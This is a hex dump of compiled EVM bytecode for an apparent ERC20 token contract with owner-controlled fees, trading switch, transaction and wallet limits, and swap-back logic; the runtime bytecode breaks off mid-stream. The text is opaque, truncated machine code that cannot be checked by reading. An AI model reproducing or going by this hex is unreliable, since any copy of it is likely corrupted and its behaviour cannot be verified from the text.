ffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264390614852565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b601a60169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612764613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e890614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285790614b6f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6128ac613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293090614852565b60405180910390fd5b6129636103e86129556001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b8110156129a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299c90614d70565b60405180910390fd5b8060178190555050565b6129b7613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3b90614852565b60405180910390fd5b80601a60186101000a81548160ff02191690831515021790555050565b612a69613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aed90614852565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60135481565b612b5f613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be390614852565b60405180910390fd5b8060188190555050565b612bfe613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8290614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf190614e02565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b612dc5613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4990614852565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a60179054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000808303612ef25760009050612f54565b60008284612f009190614e22565b9050828482612f0f91906148d0565b14612f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4690614ed6565b60405180910390fd5b809150505b92915050565b6000612f9c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506139a9565b905092915050565b6000808284612fb39190614ef6565b905083811015612ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fef90614f76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307090615008565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036130e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130df9061509a565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516131c69190614592565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161323a9061512c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036132b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a9906151be565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133535750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156133815761337a8484846133688888613a0c565b6133725785613375565b60005b613b32565b90506138f4565b601a60199054906101000a900460ff166133d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133c79061522a565b60405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134745750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561348c5750601a60189054906101000a900460ff165b156134d7576017548211156134d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134cd906152bc565b60405180910390fd5b5b60006134e230611e7b565b9050600060165482101590508080156135085750601a60149054906101000a900460ff16155b801561355e5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156135765750601a60159054906101000a900460ff165b156135a057601a60169054906101000a900460ff16156135965760165491505b61359f82613d06565b5b613629846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061370f5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6137235761371e878787613d48565b613725565b845b9050601a60179054906101000a900460ff16801561378d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137f2576018546137b0826137a289611e7b565b612fa490919063ffffffff16565b11156137f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e89061534e565b60405180910390fd5b5b61384481600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138e49190614592565b60405180910390a3600193505050505b9392505050565b6000838311158290613943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161393a919061435b565b60405180910390fd5b5060008385613952919061536e565b9050809150509392505050565b60006139a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138fb565b905092915050565b600080831182906139f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139e7919061435b565b60405180910390fd5b50600083856139ff91906148d0565b9050809150509392505050565b6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015613ab85750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015613af15750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613b2a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000613bbd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c5283600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613cf29190614592565b60405180910390a360019050949350505050565b6001601a60146101000a81548160ff021916908315150217905550613d2a8161402d565b6000601a60146101000a81548160ff02191690831515021790555050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401613da691906153c3565b602060405180830381865afa158015613dc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613de791906153de565b9050600080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e6d57613e666064613e5860135488612ee090919063ffffffff16565b612f5a90919063ffffffff16565b9150613f0a565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613ed957506000613ed6848361395f90919063ffffffff16565b10155b15613f0957613f066064613ef860145488612ee090919063ffffffff16565b612f5a90919063ffffffff16565b91505b5b600082111561400e57613f6582600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516140059190614592565b60405180910390a35b614021828661395f90919063ffffffff16565b93505050509392505050565b6000600267ffffffffffffffff81111561404a5761404961540b565b5b6040519080825280602002602001820160405280156140785781602001602082028036833780820191505090505b50905030816000815181106140905761408f61543a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614137573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061415b9190614ba4565b8160018151811061416f5761416e61543a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506141d630601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461300a565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161425c959493929190615527565b600060405180830381600087803b15801561427657600080fd5b505af115801561428a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516142bf929190615581565b60405180910390a15050565b600081519050919050565b600082825260208201905092915050565b60005b838110156143055780820151818401526020810190506142ea565b60008484015250505050565b6000601f19601f8301169050919050565b600061432d826142cb565b61433781856142d6565b93506143478185602086016142e7565b61435081614311565b840191505092915050565b600060208201905081810360008301526143758184614322565b905092915050565b600080fd5b6000819050919050565b61439581614382565b81146143a057600080fd5b50565b6000813590506143b28161438c565b92915050565b6000806000606084860312156143d1576143d061437d565b5b60006143df868287016143a3565b93505060206143f0868287016143a3565b9250506040614401868287016143a3565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006144368261440b565b9050919050565b6144468161442b565b82525050565b6000602082019050614461600083018461443d565b92915050565b6144708161442b565b811461447b57600080fd5b50565b60008135905061448d81614467565b92915050565b600080604083850312156144aa576144a961437d565b5b60006144b88582860161447e565b92505060206144c9858286016143a3565b9150509250929050565b60008115159050919050565b6144e8816144d3565b82525050565b600060208201905061450360008301846144df565b92915050565b6000819050919050565b600061452e6145296145248461440b565b614509565b61440b565b9050919050565b600061454082614513565b9050919050565b600061455282614535565b9050919050565b61456281614547565b82525050565b600060208201905061457d6000830184614559565b92915050565b61458c81614382565b82525050565b60006020820190506145a76000830184614583565b92915050565b6145b6816144d3565b81146145c157600080fd5b50565b6000813590506145d3816145ad565b92915050565b600080604083850312156145f0576145ef61437d565b5b60006145fe8582860161447e565b925050602061460f858286016145c4565b9150509250929050565b6000806000606084860312156146325761463161437d565b5b60006146408682870161447e565b93505060206146518682870161447e565b9250506040614662868287016143a3565b9150509250925092565b600060ff82169050919050565b6146828161466c565b82525050565b600060208201905061469d6000830184614679565b92915050565b6000602082840312156146b9576146b861437d565b5b60006146c7848285016143a3565b91505092915050565b6000602082840312156146e6576146e561437d565b5b60006146f4848285016145c4565b91505092915050565b6000602082840312156147135761471261437d565b5b60006147218482850161447e565b91505092915050565b60006147358261440b565b9050919050565b6147458161472a565b82525050565b6000602082019050614760600083018461473c565b92915050565b6000806040838503121561477d5761477c61437d565b5b600061478b8582860161447e565b925050602061479c8582860161447e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147ed57607f821691505b602082108103614800576147ff6147a6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061483c6020836142d6565b915061484782614806565b602082019050919050565b6000602082019050818103600083015261486b8161482f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148db82614382565b91506148e683614382565b9250826148f6576148f5614872565b5b828204905092915050565b7f53656c6c2066656573206d757374206265203525206f72206c65737300000000600082015250565b6000614937601c836142d6565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b7f4275792066656573206d757374206265203525206f72206c6573730000000000600082015250565b60006149a3601b836142d6565b91506149ae8261496d565b602082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460008201527f206c6f776572207468616e20302e30303125206f6620746f6b656e7300000000602082015250565b6000614a35603c836142d6565b9150614a40826149d9565b604082019050919050565b60006020820190508181036000830152614a6481614a28565b9050919050565b7f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460008201527f20686967686572207468616e203125206f6620746f6b656e7300000000000000602082015250565b6000614ac76039836142d6565b9150614ad282614a6b565b604082019050919050565b60006020820190508181036000830152614af681614aba565b9050919050565b7f46656520416464726573732063616e6e6f74206265207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b596022836142d6565b9150614b6482614afd565b604082019050919050565b60006020820190508181036000830152614b8881614b4c565b9050919050565b600081519050614b9e81614467565b92915050565b600060208284031215614bba57614bb961437d565b5b6000614bc884828501614b8f565b91505092915050565b6000604082019050614be6600083018561443d565b614bf3602083018461443d565b9392505050565b6000819050919050565b6000614c1f614c1a614c1584614bfa565b614509565b614382565b9050919050565b614c2f81614c04565b82525050565b600060c082019050614c4a600083018961443d565b614c576020830188614583565b614c646040830187614c26565b614c716060830186614c26565b614c7e608083018561443d565b614c8b60a0830184614583565b979650505050505050565b600081519050614ca58161438c565b92915050565b600080600060608486031215614cc457614cc361437d565b5b6000614cd286828701614c96565b9350506020614ce386828701614c96565b9250506040614cf486828701614c96565b9150509250925092565b7f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460008201527f68616e20302c3125206f6620746f74616c20737570706c790000000000000000602082015250565b6000614d5a6038836142d6565b9150614d6582614cfe565b604082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614dec6026836142d6565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b6000614e2d82614382565b9150614e3883614382565b9250828202614e4681614382565b91508282048414831517614e5d57614e5c6148a1565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614ec06021836142d6565b9150614ecb82614e64565b604082019050919050565b60006020820190508181036000830152614eef81614eb3565b9050919050565b6000614f0182614382565b9150614f0c83614382565b9250828201905080821115614f2457614f236148a1565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f60601b836142d6565b9150614f6b82614f2a565b602082019050919050565b60006020820190508181036000830152614f8f81614f53565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614ff26024836142d6565b9150614ffd82614f96565b604082019050919050565b6000602082019050818103600083015261502181614fe5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006150846022836142d6565b915061508f82615028565b604082019050919050565b600060208201905081810360008301526150b381615077565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006151166025836142d6565b9150615121826150ba565b604082019050919050565b6000602082019050818103600083015261514581615109565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151a86023836142d6565b91506151b38261514c565b604082019050919050565b600060208201905081810360008301526151d78161519b565b9050919050565b7f54726164696e6720686173206e6f7420656e61626c6564207965742e00000000600082015250565b6000615214601c836142d6565b915061521f826151de565b602082019050919050565b6000602082019050818103600083015261524381615207565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006152a66028836142d6565b91506152b18261524a565b604082019050919050565b600060208201905081810360008301526152d581615299565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b60006153386025836142d6565b9150615343826152dc565b604082019050919050565b600060208201905081810360008301526153678161532b565b9050919050565b600061537982614382565b915061538483614382565b925082820390508181111561539c5761539b6148a1565b5b92915050565b60006153ad82614535565b9050919050565b6153bd816153a2565b82525050565b60006020820190506153d860008301846153b4565b92915050565b6000602082840312156153f4576153f361437d565b5b600061540284828501614c96565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61549e8161442b565b82525050565b60006154b08383615495565b60208301905092915050565b6000602082019050919050565b60006154d482615469565b6154de8185615474565b93506154e983615485565b8060005b8381101561551a57815161550188826154a4565b975061550c836154bc565b9250506001810190506154ed565b5085935050505092915050565b600060a08201905061553c6000830188614583565b6155496020830187614c26565b818103604083015261555b81866154c9565b905061556a60608301856153b4565b6155776080830184614583565b9695505050505050565b60006040820190506155966000830185614583565b81810360208301526155a881846154c9565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203e5cac2991d694f2d0dee990ca823f2df3522782ecbfa58f883105e035ed45ec64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106103a65760003560e01c8063844d591c116101e7578063ccbe3c5b1161010d578063ef422a18116100a0578063f680f7991161006f578063f680f79914610d7c578063f84ba65d14610da7578063f872858a14610dd0578063fb45af2314610dfb576103ad565b8063ef422a1814610cd6578063f0cd1dac14610cff578063f1d5f51714610d2a578063f2fde38b14610d53576103ad565b8063dd62ed3e116100dc578063dd62ed3e14610c1e578063e5c5369314610c5b578063ec28438a14610c84578063ee828db314610cad576103ad565b8063ccbe3c5b14610b72578063d2d7ad8314610b9d578063da00097d14610bc8578063dc44b6a014610bf3576103ad565b8063a457c2d711610185578063c5d2418911610154578063c5d2418914610ac8578063c816841b14610af3578063c860795214610b1e578063c9c9afc514610b49576103ad565b8063a457c2d7146109fc578063a5d69d1f14610a39578063a9059cbb14610a62578063c49b9a8014610a9f576103ad565b80638b42507f116101c15780638b42507f1461093e5780638da5cb5b1461097b57806395d89b41146109a657806398e944c8146109d1576103ad565b8063844d591c146108bf57806385261485146108e857806388790a6814610913576103ad565b80634974d88f116102cc5780636ddd17131161026a5780637d1db4a5116102395780637d1db4a514610801578063807c2d9c1461082c57806382eefb4314610857578063844783b714610882576103ad565b80636ddd17131461076b57806370a0823114610796578063715018a6146107d3578063751039fc146107ea576103ad565b806351cd7cc3116102a657806351cd7cc3146106e257806367fd3c4a146106f95780636bd74ecf146107365780636c208a5314610761576103ad565b80634974d88f146106655780634cb80fd51461068e5780635194f9bf146106b7576103ad565b80632198cf6c116103445780632b112e49116103135780632b112e49146105a9578063313ce567146105d457806339509351146105ff5780633b97084a1461063c576103ad565b80632198cf6c146104ed57806323555d571461051657806323b872dd1461054157806327c8f8351461057e576103ad565b8063095ea7b311610380578063095ea7b3146104315780631694505e1461046e57806318160ddd146104995780631870517a146104c4576103ad565b806306fdde03146103b257806308733214146103dd5780630930907b14610406576103ad565b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610e38565b6040516103d4919061435b565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff91906143b8565b610eca565b005b34801561041257600080fd5b5061041b610ffd565b604051610428919061444c565b60405180910390f35b34801561043d57600080fd5b5061045860048036038101906104539190614493565b611021565b60405161046591906144ee565b60405180910390f35b34801561047a57600080fd5b5061048361103f565b6040516104909190614568565b60405180910390f35b3480156104a557600080fd5b506104ae611065565b6040516104bb9190614592565b60405180910390f35b3480156104d057600080fd5b506104eb60048036038101906104e691906143b8565b61106f565b005b3480156104f957600080fd5b50610514600480360381019061050f91906145d9565b6111a2565b005b34801561052257600080fd5b5061052b611292565b6040516105389190614592565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190614619565b611298565b60405161057591906144ee565b60405180910390f35b34801561058a57600080fd5b50610593611372565b6040516105a0919061444c565b60405180910390f35b3480156105b557600080fd5b506105be611396565b6040516105cb9190614592565b60405180910390f35b3480156105e057600080fd5b506105e9611414565b6040516105f69190614688565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190614493565b61142b565b60405161063391906144ee565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e91906146a3565b6114de565b005b34801561067157600080fd5b5061068c600480360381019061068791906146d0565b611655565b005b34801561069a57600080fd5b506106b560048036038101906106b091906146fd565b611707565b005b3480156106c357600080fd5b506106cc61184f565b6040516106d99190614592565b60405180910390f35b3480156106ee57600080fd5b506106f7611855565b005b34801561070557600080fd5b50610720600480360381019061071b91906146fd565b611907565b60405161072d91906144ee565b60405180910390f35b34801561074257600080fd5b5061074b611927565b604051610758919061474b565b60405180910390f35b61076961194d565b005b34801561077757600080fd5b50610780611e68565b60405161078d91906144ee565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b891906146fd565b611e7b565b6040516107ca9190614592565b60405180910390f35b3480156107df57600080fd5b506107e8611ec4565b005b3480156107f657600080fd5b506107ff612019565b005b34801561080d57600080fd5b506108166120c2565b6040516108239190614592565b60405180910390f35b34801561083857600080fd5b506108416120c8565b60405161084e9190614592565b60405180910390f35b34801561086357600080fd5b5061086c6120ce565b6040516108799190614592565b60405180910390f35b34801561088e57600080fd5b506108a960048036038101906108a491906146fd565b6120d4565b6040516108b691906144ee565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906145d9565b6120f4565b005b3480156108f457600080fd5b506108fd6121e4565b60405161090a91906144ee565b60405180910390f35b34801561091f57600080fd5b506109286121f7565b6040516109359190614592565b60405180910390f35b34801561094a57600080fd5b50610965600480360381019061096091906146fd565b6121fd565b60405161097291906144ee565b60405180910390f35b34801561098757600080fd5b5061099061221d565b60405161099d919061444c565b60405180910390f35b3480156109b257600080fd5b506109bb612246565b6040516109c8919061435b565b60405180910390f35b3480156109dd57600080fd5b506109e66122d8565b6040516109f3919061444c565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614493565b6122fe565b604051610a3091906144ee565b60405180910390f35b348015610a4557600080fd5b50610a606004803603810190610a5b91906146d0565b6123cb565b005b348015610a6e57600080fd5b50610a896004803603810190610a849190614493565b61247d565b604051610a9691906144ee565b60405180910390f35b348015610aab57600080fd5b50610ac66004803603810190610ac191906146d0565b61249c565b005b348015610ad457600080fd5b50610add612585565b604051610aea9190614592565b60405180910390f35b348015610aff57600080fd5b50610b0861258b565b604051610b15919061444c565b60405180910390f35b348015610b2a57600080fd5b50610b336125b1565b604051610b409190614592565b60405180910390f35b348015610b5557600080fd5b50610b706004803603810190610b6b91906146fd565b6125b7565b005b348015610b7e57600080fd5b50610b87612690565b604051610b94919061474b565b60405180910390f35b348015610ba957600080fd5b50610bb26126b6565b604051610bbf9190614592565b60405180910390f35b348015610bd457600080fd5b50610bdd6126bc565b604051610bea91906144ee565b60405180910390f35b348015610bff57600080fd5b50610c086126cf565b604051610c159190614592565b60405180910390f35b348015610c2a57600080fd5b50610c456004803603810190610c409190614766565b6126d5565b604051610c529190614592565b60405180910390f35b348015610c6757600080fd5b50610c826004803603810190610c7d91906146fd565b61275c565b005b348015610c9057600080fd5b50610cab6004803603810190610ca691906146a3565b6128a4565b005b348015610cb957600080fd5b50610cd46004803603810190610ccf91906146d0565b6129af565b005b348015610ce257600080fd5b50610cfd6004803603810190610cf891906145d9565b612a61565b005b348015610d0b57600080fd5b50610d14612b51565b604051610d219190614592565b60405180910390f35b348015610d3657600080fd5b50610d516004803603810190610d4c91906146a3565b612b57565b005b348015610d5f57600080fd5b50610d7a6004803603810190610d7591906146fd565b612bf6565b005b348015610d8857600080fd5b50610d91612db7565b604051610d9e9190614592565b60405180910390f35b348015610db357600080fd5b50610dce6004803603810190610dc991906145d9565b612dbd565b005b348015610ddc57600080fd5b50610de5612ead565b604051610df291906144ee565b60405180910390f35b348015610e0757600080fd5b50610e226004803603810190610e1d91906146fd565b612ec0565b604051610e2f91906144ee565b60405180910390f35b606060018054610e47906147d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610e73906147d5565b8015610ec05780601f10610e9557610100808354040283529160200191610ec0565b820191906000526020600020905b815481529060010190602001808311610ea357829003601f168201915b5050505050905090565b610ed2613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690614852565b60405180910390fd5b82600c8190555081600d8190555080600e81905550610f9f600e54610f91600d54600c54612fa490919063ffffffff16565b612fa490919063ffffffff16565b6014819055506014601254610fb491906148d0565b6014541115610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef9061494d565b60405180910390fd5b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061103561102e613002565b848461300a565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601554905090565b611077613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00